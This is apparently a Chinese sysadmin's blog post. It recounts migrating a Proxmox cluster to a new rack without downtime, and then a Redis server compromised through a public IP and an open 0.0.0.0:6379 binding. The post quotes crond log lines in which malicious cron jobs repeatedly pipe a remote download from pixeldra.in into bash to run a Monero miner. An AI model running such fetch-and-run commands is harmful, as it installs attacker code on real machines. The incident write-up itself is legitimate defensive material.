作者：田逸（[email protected]）
這幾天一直忙着往proxmox集羣裏邊遷移服務，進展還是比較順利。通過整合資源，兩個機櫃的服務器，下架以後，就剩一個櫃子了，後邊再遷移一下，還能下架一些舊的配置低的服務器。因爲機櫃電源的限制，迫不得已還得下架一臺有公網ip的舊服務器。爲了保證可用性，臨時在一臺有redis應用的服務器上綁定了一個公網ip。然後開始部署keepalived及haproxy，但搞半天，沒把keepalived給安裝上，估計是centos版本的問題。確認了一下，就是不安裝也不影響業務，就暫時不管它，忙別的事情去了。
四臺proxomox組成的集羣，加上一臺交換機，臨時放在另外一個機櫃裏邊。等下架舊服務器後，再把這四臺服務器及交換機整合到一個機櫃。因此整個下午到夜裏，都在折騰這個事情。搬遷的原則是不能停服務，同時擔心機器關機可能會導致proxmox集羣崩潰。待去機房的兄弟把舊機器下架後，做如下的安排：
（1） 服務器拔掉一根電源線，然後插在目標機櫃的插口上。因爲是雙電源，而且兩個機櫃是挨着的，只要動作輕柔，可以保證不會斷電停機。
（2） 交換機不是雙電，一斷電集羣就可能崩潰。在目標櫃子櫃子放一交換機，加電。從待搬服務器拔掉一個網線，插到此交換機；接着拔第二臺服務器的一根網線，也插過來。於此同時，把另外一口的網線拔掉，觀察網絡狀態。因爲proxmox做了網卡綁定（bond），因此這樣操作，也不會導致網絡中斷。
確保網線插別的交換機沒問題後，就可以從機架上把服務器不停機進行搬遷。
搬遷完，聯繫相關人等挨個測試應用，看是否正常，本人也時不時查看集羣負載，也沒有任何波動，一干人等回家散去，放心睡覺。
今天醒來，一看qq消息，羣裏鬧翻了，說一個重要的下載業務的數據統計不顯示。經排查，是一臺redis的物理機出故障所致。
趕緊登陸系統，一通排查，臥槽,/tmp目錄下有個文件littletrump！看看這個有沒有建立起監聽. 
果然中招！習慣性的查看/etc/passwd、/home目錄、crontab等，只有crontab存在麻煩，進行編輯，全是一堆亂碼。
用dd鍵狂刪，毫無作用。再用echo> /tmp/ crontab.XXXX* 清空，也沒有什麼作用。進目錄/var/spool/cron/ ，把root等文件直接幹掉了事。
那麼問題來了，這個惡意Muma是怎麼進來的？又是幹什麼用的呢？
先回答惡意muma是幹啥的。根據排查，得到一個域名，用瀏覽器訪問，得到如下頁面。
原來是挖礦的，從crond日誌可進一步判斷，是挖門羅幣的。
Sep 28 01:20:01 Cache crond[10825]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:20:01 Cache crond[10826]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:21:01 Cache crond[11156]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:25:01 Cache crond[12391]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:28:02 Cache crond[13532]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:30:01 Cache crond[14258]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:30:01 Cache crond[14259]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:35:01 Cache crond[16051]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:35:01 Cache crond[16054]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:40:01 Cache crond[18117]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:40:01 Cache crond[18118]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:42:01 Cache crond[18996]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
………………….省略若干……………………….第二個問題“惡意muma是怎麼進來的呢”？是因爲redis監聽地址是0.0.0.0:6379，我昨天爲了做keepalived HA，給網卡綁定了公網地址。有心人一掃描，就發現這個redis版本漏洞，就利於它侵略進來了。
後邊的處理就簡單了。Proxmox平臺部署一套redis，把備份複製過去，恢復。現有的系統幹掉，重裝系統，另做他用。
更加體系化和實例化的proxmox超融合私有云實踐系列文章，請移步本人專欄“人人都能玩的私有云神器-proxmox”，猛戳此處，片刻直達！